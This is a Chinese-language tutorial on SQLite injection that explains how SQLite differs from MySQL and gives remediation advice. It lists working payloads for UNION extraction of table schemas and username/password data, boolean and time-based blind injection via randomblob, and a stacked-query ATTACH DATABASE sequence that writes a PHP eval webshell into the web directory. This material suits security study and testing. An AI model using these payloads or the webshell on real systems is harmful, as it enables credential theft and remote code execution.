测试方法

与 MySQL 类似,在发现有可控参数的地方可以使用手工测试或者 SQLMap 等自动化工具进行注入检查。

修复建议

采用 SQL 语句预编译和绑定变量,依然是防御 SQLite 注入的最佳方法。

  • 所有查询语句使用参数化查询接口,避免将用户输入直接拼接进 SQL 语句中。
  • 对进入数据库的特殊字符进行转义过滤。
  • 严格规定数据类型和长度。
  • 注意: SQLite 是基于文件的数据库,因此严格限制 Web 目录的文件读写权限至关重要,防止攻击者通过附加数据库(ATTACH DATABASE)等方式写入恶意文件。

SQLite 相关知识(与 MySQL 的核心差异)

SQLite 是一种轻量级的文件型数据库,不需要独立的服务器进程,整个数据库就是一个文件。这也是它在注入时与 MySQL 最大的不同点所在。

  1. 没有 information_schema
    • SQLite 没有 MySQL 那样庞大的 information_schema。它在每个数据库中默认维护了一个名为 sqlite_master 的隐藏系统表(在某些新版本中也叫 sqlite_schema,但 sqlite_master 始终可用)。这个表记录了该数据库下所有的表名、索引、视图等信息。
    • sqlite_master 表结构:type (类型), name (名称), tbl_name (表名), rootpage, sql (创建该表/视图的 SQL 语句)。
  2. 没有内建的用户管理系统
    • MySQL 有 mysql.user 表来管理账户和权限,也有 user() 函数。
    • SQLite 没有用户和权限的概念,它不提供网络服务,权限完全依赖于操作系统对该 SQLite 数据库文件的读写权限控制。因此,在 SQLite 注入中不需要(也无法)查询当前数据库用户。
  3. 没有系统级的文件读写函数
    • SQLite 没有 MySQL 中的 load_file()into outfile。但是可以通过 ATTACH DATABASE(附加数据库)的方式来实现文件的写入(常用于写 Webshell)。

Web SQL 注入漏洞原理

原理与 MySQL 完全一致:前端参数用户可控,且未经严格过滤直接拼接带入后端 SQLite 数据库执行,导致执行了非预期的恶意 SQL 逻辑。

常见判断语句与注释符

判断语句的逻辑与 MySQL 一致:

1
2
3
id=1 and 1=1
id=1 and 1=2
id='1' or '1'='1'

注释符差异:

  • -- 单行注释(注意: SQLite 中不需要像 MySQL 那样在 -- 后面加空格,-- 即可注释。同时 SQLite 不支持 # 作为注释符)。
  • /* */ 多行注释。

SQLite 注入流程与常用语法

1. 基础探测与联合查询 (UNION Injection)

首先通过 ORDER BY 确定字段数,然后使用 UNION SELECT 确定回显点。

查询数据库版本

1
union select 1,sqlite_version(),3

获取表名

通过查询 sqlite_master 获取表名。

1
2
3
4
-- 查询第一张表名
union select 1,name,3 from sqlite_master where type='table' limit 0,1
-- 利用 group_concat 一次性爆出所有表名
union select 1,group_concat(name),3 from sqlite_master where type='table'

获取字段名(重点差异)

SQLite 没有类似 information_schema.columns 的表来直接列出所有字段。我们需要读取 sqlite_master 中的 sql 列,这一列记录了创建这张表时的 CREATE TABLE 语句,里面包含了所有的字段名。

1
union select 1,sql,3 from sqlite_master where type='table' and name='users'

获取数据

由于 SQLite 字符串拼接使用 || 而不是 concat(),提取数据时写法如下:

1
2
3
union select 1,username||'~'||password,3 from users limit 0,1
-- 或者使用 group_concat
union select 1,group_concat(username||'~'||password),3 from users

2. 布尔盲注 (Boolean-based Blind)

当页面只有对错两种状态回显时使用。

由于 SQLite 没有 if() 函数,我们需要使用 CASE WHEN... THEN... ELSE... END 语句或者直接利用比较运算符。

常用函数:substr() (截取字符串), length() (计算长度)。

获取表名长度

1
1' and (select length(name) from sqlite_master where type='table' limit 0,1)=5 --

获取表名字符

1
1' and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='u' --

获得字段长度

1
admin' AND length(password) = 5 --

3. 时间注入 (Time-based Blind)

SQLite 没有类似于 MySQL 的 sleep() 函数。为了实现时间延迟,通常利用极其耗时的查询逻辑来“模拟”延时。

模拟延时方法一:randomblob()

利用 randomblob() 生成一个极大的随机字节块来消耗 CPU 时间,配合 CASE WHEN 实现条件延时。

1
2
-- 如果条件成立,则执行耗时的 randomblob 操作,否则返回 0
1' and (SELECT CASE WHEN (substr(sqlite_version(),1,1)='3') THEN randomblob(1000000000) ELSE 0 END) --

模拟延时方法二:利用超大表的笛卡尔积或 LIKE

如果找不到 randomblob,可以尝试查询一个系统大表(如 sqlite_master 的笛卡尔积)配合复杂的 LIKE 匹配来拖慢数据库速度。

4. 堆叠查询 (Stacked Queries) 与 写 Webshell

如果后端的数据库 API (例如 PHP 的 sqlite_exec())支持同时执行多条语句(以 ; 分隔),则存在堆叠注入。

利用堆叠注入写 Webshell(替代 into outfile

虽然 SQLite 没有 into outfile,但可以使用 ATTACH DATABASE 命令将一个新的 SQLite 数据库附加到特定的文件路径(如 Web 目录),然后在这个库中建表并插入包含一句话木马的数据。

1
2
3
4
5
6
-- 1. 分号闭合当前语句,并附加一个新数据库到 web 目录(文件后缀设为 php)
id=1'; ATTACH DATABASE 'C:\phpStudy\WWW\shell.php' AS shell;
-- 2. 在新建的数据库文件中创建一张表
CREATE TABLE shell.exp (webshell text);
-- 3. 将 PHP 一句话木马插入该表
INSERT INTO shell.exp (webshell) VALUES ('<?php eval($_POST[cmd]); ?>'); --